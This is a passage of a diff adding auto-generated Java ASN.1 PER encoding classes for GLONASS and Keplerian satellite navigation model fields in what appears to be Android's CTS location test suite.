+ }
+
+ public String toIndentedString(String indent) {
+ return "gloXdotdotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloYType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloYType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloYType() {
+ super();
+ setValueRange("-67108864", "67108863");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloYType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloYType != null) {
+ return ImmutableList.of(TAG_gloYType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloYType from encoded stream.
+ */
+ public static gloYType fromPerUnaligned(byte[] encodedBytes) {
+ gloYType result = new gloYType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloYType from encoded stream.
+ */
+ public static gloYType fromPerAligned(byte[] encodedBytes) {
+ gloYType result = new gloYType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloYType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloYdotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloYdotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloYdotType() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloYdotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloYdotType != null) {
+ return ImmutableList.of(TAG_gloYdotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloYdotType from encoded stream.
+ */
+ public static gloYdotType fromPerUnaligned(byte[] encodedBytes) {
+ gloYdotType result = new gloYdotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloYdotType from encoded stream.
+ */
+ public static gloYdotType fromPerAligned(byte[] encodedBytes) {
+ gloYdotType result = new gloYdotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloYdotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloYdotdotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloYdotdotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloYdotdotType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloYdotdotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloYdotdotType != null) {
+ return ImmutableList.of(TAG_gloYdotdotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloYdotdotType from encoded stream.
+ */
+ public static gloYdotdotType fromPerUnaligned(byte[] encodedBytes) {
+ gloYdotdotType result = new gloYdotdotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloYdotdotType from encoded stream.
+ */
+ public static gloYdotdotType fromPerAligned(byte[] encodedBytes) {
+ gloYdotdotType result = new gloYdotdotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloYdotdotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloZType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloZType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloZType() {
+ super();
+ setValueRange("-67108864", "67108863");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloZType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloZType != null) {
+ return ImmutableList.of(TAG_gloZType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloZType from encoded stream.
+ */
+ public static gloZType fromPerUnaligned(byte[] encodedBytes) {
+ gloZType result = new gloZType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloZType from encoded stream.
+ */
+ public static gloZType fromPerAligned(byte[] encodedBytes) {
+ gloZType result = new gloZType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloZType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloZdotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloZdotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloZdotType() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloZdotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloZdotType != null) {
+ return ImmutableList.of(TAG_gloZdotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloZdotType from encoded stream.
+ */
+ public static gloZdotType fromPerUnaligned(byte[] encodedBytes) {
+ gloZdotType result = new gloZdotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloZdotType from encoded stream.
+ */
+ public static gloZdotType fromPerAligned(byte[] encodedBytes) {
+ gloZdotType result = new gloZdotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloZdotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloZdotdotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloZdotdotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloZdotdotType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloZdotdotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloZdotdotType != null) {
+ return ImmutableList.of(TAG_gloZdotdotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloZdotdotType from encoded stream.
+ */
+ public static gloZdotdotType fromPerUnaligned(byte[] encodedBytes) {
+ gloZdotdotType result = new gloZdotdotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloZdotdotType from encoded stream.
+ */
+ public static gloZdotdotType fromPerAligned(byte[] encodedBytes) {
+ gloZdotdotType result = new gloZdotdotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloZdotdotType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("NavModel_GLONASSecef = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_KeplerianSet.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_KeplerianSet.java
new file mode 100755
index 0000000..64b2fae
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_KeplerianSet.java
@@ -0,0 +1,2421 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class NavModel_KeplerianSet extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_NavModel_KeplerianSet
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public NavModel_KeplerianSet() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_NavModel_KeplerianSet;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_NavModel_KeplerianSet != null) {
+ return ImmutableList.of(TAG_NavModel_KeplerianSet);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new NavModel_KeplerianSet from encoded stream.
+ */
+ public static NavModel_KeplerianSet fromPerUnaligned(byte[] encodedBytes) {
+ NavModel_KeplerianSet result = new NavModel_KeplerianSet();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new NavModel_KeplerianSet from encoded stream.
+ */
+ public static NavModel_KeplerianSet fromPerAligned(byte[] encodedBytes) {
+ NavModel_KeplerianSet result = new NavModel_KeplerianSet();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private NavModel_KeplerianSet.keplerToeType keplerToe_;
+ public NavModel_KeplerianSet.keplerToeType getKeplerToe() {
+ return keplerToe_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_KeplerianSet.keplerToeType
+ */
+ public void setKeplerToe(Asn1Object value) {
+ this.keplerToe_ = (NavModel_KeplerianSet.keplerToeType) value;
+ }
+ public NavModel_KeplerianSet.keplerToeType setKeplerToeToNewInstance() {
+ keplerToe_ = new NavModel_KeplerianSet.keplerToeType();
+ return keplerToe_;
+ }
+
+ private NavModel_KeplerianSet.keplerWType keplerW_;
+ public NavModel_KeplerianSet.keplerWType getKeplerW() {
+ return keplerW_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_KeplerianSet.keplerWType
+ */
+ public void setKeplerW(Asn1Object value) {
+ this.keplerW_ = (NavModel_KeplerianSet.keplerWType) value;
+ }
+ public NavModel_KeplerianSet.keplerWType setKeplerWToNewInstance() {
+ keplerW_ = new NavModel_KeplerianSet.keplerWType();
+ return keplerW_;
+ }
+
+ private NavModel_KeplerianSet.keplerDeltaNType keplerDeltaN_;
+ public NavModel_KeplerianSet.keplerDeltaNType getKeplerDeltaN() {
+ return keplerDeltaN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_KeplerianSet.keplerDeltaNType
+ */
+ public void setKeplerDeltaN(Asn1Object value) {
+ this.keplerDeltaN_ = (NavModel_KeplerianSet.keplerDeltaNType) value;
+ }
+ public NavModel_KeplerianSet.keplerDeltaNType setKeplerDeltaNToNewInstance() {
+ keplerDeltaN_ = new NavModel_KeplerianSet.keplerDeltaNType();
+ return keplerDeltaN_;
+ }
+
+ private NavModel_KeplerianSet.keplerM0Type keplerM0_;
+ public NavModel_KeplerianSet.keplerM0Type getKeplerM0() {
+ return keplerM0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_KeplerianSet.keplerM0Type
+ */
+ public void setKeplerM0(Asn1Object value) {
+ this.keplerM0_ = (NavModel_KeplerianSet.keplerM0Type) value;
+ }
+ public NavModel_KeplerianSet.keplerM0Type setKeplerM0ToNewInstance() {
+ keplerM0_ = new NavModel_KeplerianSet.keplerM0Type();
+ return keplerM0_;
+ }
+
+ private NavModel_KeplerianSet.keplerOmegaDotType keplerOmegaDot_;
+ public NavModel_KeplerianSet.keplerOmegaDotType getKeplerOmegaDot() {
+ return keplerOmegaDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_KeplerianSet.keplerOmegaDotType
+ */
+ public void setKeplerOmegaDot(Asn1Object value) {
+ this.keplerOmegaDot_ = (NavModel_KeplerianSet.keplerOmegaDotType) value;
+ }
+ public NavModel_KeplerianSet.keplerOmegaDotType setKeplerOmegaDotToNewInstance() {
+ keplerOmegaDot_ = new NavModel_KeplerianSet.keplerOmegaDotType();
+ return keplerOmegaDot_;
+ }
+
+ private NavModel_KeplerianSet.keplerEType keplerE_;
+ public NavModel_KeplerianSet.keplerEType getKeplerE() {
+ return keplerE_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_KeplerianSet.keplerEType
+ */
+ public void setKeplerE(Asn1Object value) {
+ this.keplerE_ = (NavModel_KeplerianSet.keplerEType) value;
+ }
+ public NavModel_KeplerianSet.keplerEType setKeplerEToNewInstance() {
+ keplerE_ = new NavModel_KeplerianSet.keplerEType();
+ return keplerE_;
+ }
+
+ private NavModel_KeplerianSet.keplerIDotType keplerIDot_;
+ public NavModel_KeplerianSet.keplerIDotType getKeplerIDot() {
+ return keplerIDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_KeplerianSet.keplerIDotType
+ */
+ public void setKeplerIDot(Asn1Object value) {
+ this.keplerIDot_ = (NavModel_KeplerianSet.keplerIDotType) value;
+ }
+ public NavModel_KeplerianSet.keplerIDotType setKeplerIDotToNewInstance() {
+ keplerIDot_ = new NavModel_KeplerianSet.keplerIDotType();
+ return keplerIDot_;
+ }
+
+ private NavModel_KeplerianSet.keplerAPowerHalfType keplerAPowerHalf_;
+ public NavModel_KeplerianSet.keplerAPowerHalfType getKeplerAPowerHalf() {
+ return keplerAPowerHalf_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_KeplerianSet.keplerAPowerHalfType
+ */
+ public void setKeplerAPowerHalf(Asn1Object value) {
+ this.keplerAPowerHalf_ = (NavModel_KeplerianSet.keplerAPowerHalfType) value;
+ }
+ public NavModel_KeplerianSet.keplerAPowerHalfType setKeplerAPowerHalfToNewInstance() {
+ keplerAPowerHalf_ = new NavModel_KeplerianSet.keplerAPowerHalfType();
+ return keplerAPowerHalf_;
+ }
+
+ private NavModel_KeplerianSet.keplerI0Type keplerI0_;
+ public NavModel_KeplerianSet.keplerI0Type getKeplerI0() {
+ return keplerI0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_KeplerianSet.keplerI0Type
+ */
+ public void setKeplerI0(Asn1Object value) {
+ this.keplerI0_ = (NavModel_KeplerianSet.keplerI0Type) value;
+ }
+ public NavModel_KeplerianSet.keplerI0Type setKeplerI0ToNewInstance() {
+ keplerI0_ = new NavModel_KeplerianSet.keplerI0Type();
+ return keplerI0_;
+ }
+
+ private NavModel_KeplerianSet.keplerOmega0Type keplerOmega0_;
+ public NavModel_KeplerianSet.keplerOmega0Type getKeplerOmega0() {
+ return keplerOmega0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_KeplerianSet.keplerOmega0Type
+ */
+ public void setKeplerOmega0(Asn1Object value) {
+ this.keplerOmega0_ = (NavModel_KeplerianSet.keplerOmega0Type) value;
+ }
+ public NavModel_KeplerianSet.keplerOmega0Type setKeplerOmega0ToNewInstance() {
+ keplerOmega0_ = new NavModel_KeplerianSet.keplerOmega0Type();
+ return keplerOmega0_;
+ }
+
+ private NavModel_KeplerianSet.keplerCrsType keplerCrs_;
+ public NavModel_KeplerianSet.keplerCrsType getKeplerCrs() {
+ return keplerCrs_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_KeplerianSet.keplerCrsType
+ */
+ public void setKeplerCrs(Asn1Object value) {
+ this.keplerCrs_ = (NavModel_KeplerianSet.keplerCrsType) value;
+ }
+ public NavModel_KeplerianSet.keplerCrsType setKeplerCrsToNewInstance() {
+ keplerCrs_ = new NavModel_KeplerianSet.keplerCrsType();
+ return keplerCrs_;
+ }
+
+ private NavModel_KeplerianSet.keplerCisType keplerCis_;
+ public NavModel_KeplerianSet.keplerCisType getKeplerCis() {
+ return keplerCis_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_KeplerianSet.keplerCisType
+ */
+ public void setKeplerCis(Asn1Object value) {
+ this.keplerCis_ = (NavModel_KeplerianSet.keplerCisType) value;
+ }
+ public NavModel_KeplerianSet.keplerCisType setKeplerCisToNewInstance() {
+ keplerCis_ = new NavModel_KeplerianSet.keplerCisType();
+ return keplerCis_;
+ }
+
+ private NavModel_KeplerianSet.keplerCusType keplerCus_;
+ public NavModel_KeplerianSet.keplerCusType getKeplerCus() {
+ return keplerCus_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_KeplerianSet.keplerCusType
+ */
+ public void setKeplerCus(Asn1Object value) {
+ this.keplerCus_ = (NavModel_KeplerianSet.keplerCusType) value;
+ }
+ public NavModel_KeplerianSet.keplerCusType setKeplerCusToNewInstance() {
+ keplerCus_ = new NavModel_KeplerianSet.keplerCusType();
+ return keplerCus_;
+ }
+
+ private NavModel_KeplerianSet.keplerCrcType keplerCrc_;
+ public NavModel_KeplerianSet.keplerCrcType getKeplerCrc() {
+ return keplerCrc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_KeplerianSet.keplerCrcType
+ */
+ public void setKeplerCrc(Asn1Object value) {
+ this.keplerCrc_ = (NavModel_KeplerianSet.keplerCrcType) value;
+ }
+ public NavModel_KeplerianSet.keplerCrcType setKeplerCrcToNewInstance() {
+ keplerCrc_ = new NavModel_KeplerianSet.keplerCrcType();
+ return keplerCrc_;
+ }
+
+ private NavModel_KeplerianSet.keplerCicType keplerCic_;
+ public NavModel_KeplerianSet.keplerCicType getKeplerCic() {
+ return keplerCic_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_KeplerianSet.keplerCicType
+ */
+ public void setKeplerCic(Asn1Object value) {
+ this.keplerCic_ = (NavModel_KeplerianSet.keplerCicType) value;
+ }
+ public NavModel_KeplerianSet.keplerCicType setKeplerCicToNewInstance() {
+ keplerCic_ = new NavModel_KeplerianSet.keplerCicType();
+ return keplerCic_;
+ }
+
+ private NavModel_KeplerianSet.keplerCucType keplerCuc_;
+ public NavModel_KeplerianSet.keplerCucType getKeplerCuc() {
+ return keplerCuc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_KeplerianSet.keplerCucType
+ */
+ public void setKeplerCuc(Asn1Object value) {
+ this.keplerCuc_ = (NavModel_KeplerianSet.keplerCucType) value;
+ }
+ public NavModel_KeplerianSet.keplerCucType setKeplerCucToNewInstance() {
+ keplerCuc_ = new NavModel_KeplerianSet.keplerCucType();
+ return keplerCuc_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerToe() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerToe();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerToeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_KeplerianSet.keplerToeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerToe : "
+ + getKeplerToe().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerW() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerW();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerWToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_KeplerianSet.keplerWType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerW : "
+ + getKeplerW().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerDeltaN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerDeltaN();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerDeltaNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_KeplerianSet.keplerDeltaNType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerDeltaN : "
+ + getKeplerDeltaN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerM0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerM0();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerM0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_KeplerianSet.keplerM0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerM0 : "
+ + getKeplerM0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerOmegaDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerOmegaDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerOmegaDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_KeplerianSet.keplerOmegaDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerOmegaDot : "
+ + getKeplerOmegaDot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerE() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerE();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerEToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_KeplerianSet.keplerEType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerE : "
+ + getKeplerE().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerIDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
